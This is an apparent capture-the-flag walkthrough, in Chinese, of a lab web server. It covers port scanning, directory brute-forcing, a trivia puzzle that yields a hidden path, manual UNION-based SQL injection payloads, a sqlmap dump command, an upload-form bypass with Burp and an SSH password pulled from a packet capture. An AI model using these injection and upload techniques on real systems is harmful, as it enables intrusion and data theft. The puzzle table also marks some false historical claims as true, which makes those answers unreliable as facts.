主机层面端口扫描探测：
╰─ nmap -p1-65535 -A -sV 10.10.202.137
访问web服务
使用dirbuster 加大字段进行目录爆破
http://10.10.202.137/nt4stopc/index.php
看看这些问题先：
| Question |
True/False | Bit |
| Baku is the capital of Turkey? 巴库是土耳其的首都 |
False | 0 |
| The beginning of the French revolution is 1798. 法国革命的时间 |
True | 1 |
| Istanbul was conquered in 1435? 伊斯坦布尔于1435年被征服？ |
True | 1 |
| Fatih Sultan Mehmet is the founder of the Ottoman Empire? Fatih Sultan Mehmet是奥斯曼帝国的创始人 | False | 0 |
| The founder of robot science is Al-Cezeri? 机器人科学的创始人是Al-Cezeri |
True | 1 |
| Dennis Ritchie, who developed the C language? Dennis Ritchie，他开发了C语言 | True | 1 |
| The function definition belongs to the C89 standard? 功能定义属于C89标准 |
True | 1 |
| The other element of the array is 1?数组的另一个元素是1 |
False | 0 |
| Is the maximum 32-but value 2,147,482646? 最大32位值是2,147,482646 | False | 0 |
| Is there an undefined behaviour in the following code? 以下代码中是否存在未定义的行为 | True | 1 |
二进制：0110111001
http://10.10.202.137/nt4stopc/0110111001
稍等跳转到：
http://10.10.202.137/nt4stopc/0110111001/summertimesummertime/
右键源码：
访问尝试下注入：
http://10.10.202.137/nt4stopc/0110111001/summertimesummertime/go.php?id=3
http://10.10.202.137/nt4stopc/0110111001/summertimesummertime/go.php?id=3 and 1=1 #true
http://10.10.202.137/nt4stopc/0110111001/summertimesummertime/go.php?id=3 and 1=2 #false
http://10.10.202.137/nt4stopc/0110111001/summertimesummertime/go.php?id=3 order by 5--+
http://10.10.202.137/nt4stopc/0110111001/summertimesummertime/go.php?id=-3 +UNION+ALL+SELECT+1,2,3,4,5--+
http://10.10.202.137/nt4stopc/0110111001/summertimesummertime/go.php?id=-3 +UNION+ALL+SELECT+1,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),3,4,5--+
我们直接用SQLmap搞一波吧，手工真麻烦
╰─ sqlmap -u "http://10.10.202.137/nt4stopc/0110111001/summertimesummertime/go.php?id=3" --dbs --batch -D tatil -T gereksiz -C gereksiz --dump
hihijrijrijr-balrgralrijr-htjrzhujrz-bfnf 应该是一种加密过的字符串，我们尝试Google解密下
https://cryptii.com/pipes/caesar-cipher
http://10.10.202.137/nt4stopc/0110111001/summertimesummertime/uvuvwevwevwe-onyetenyevwe-ugwemuhwem-osas/
http://10.10.202.137/nt4stopc/0110111001/summertimesummertime/uvuvwevwevwe-onyetenyevwe-ugwemuhwem-osas/upload.php
卧槽没有提交按钮，是不是隐藏掉了？
这里使用burp抓包修改
http://10.10.202.137/nt4stopc/0110111001/summertimesummertime/uvuvwevwevwe-onyetenyevwe-ugwemuhwem-osas/osas/af73b4a487065af10015796aa6293880.php
进行提权操作：
http://10.10.202.137/important.pcapng
email=mkelepce&message=Hello+there,+The+password+for+the+SSH+account+you+want+is:+mkelepce:mklpc-osas112.+If+you+encounter+a+problem,+just+mail+it.++Good+work
password:mklpc-osas112.
完！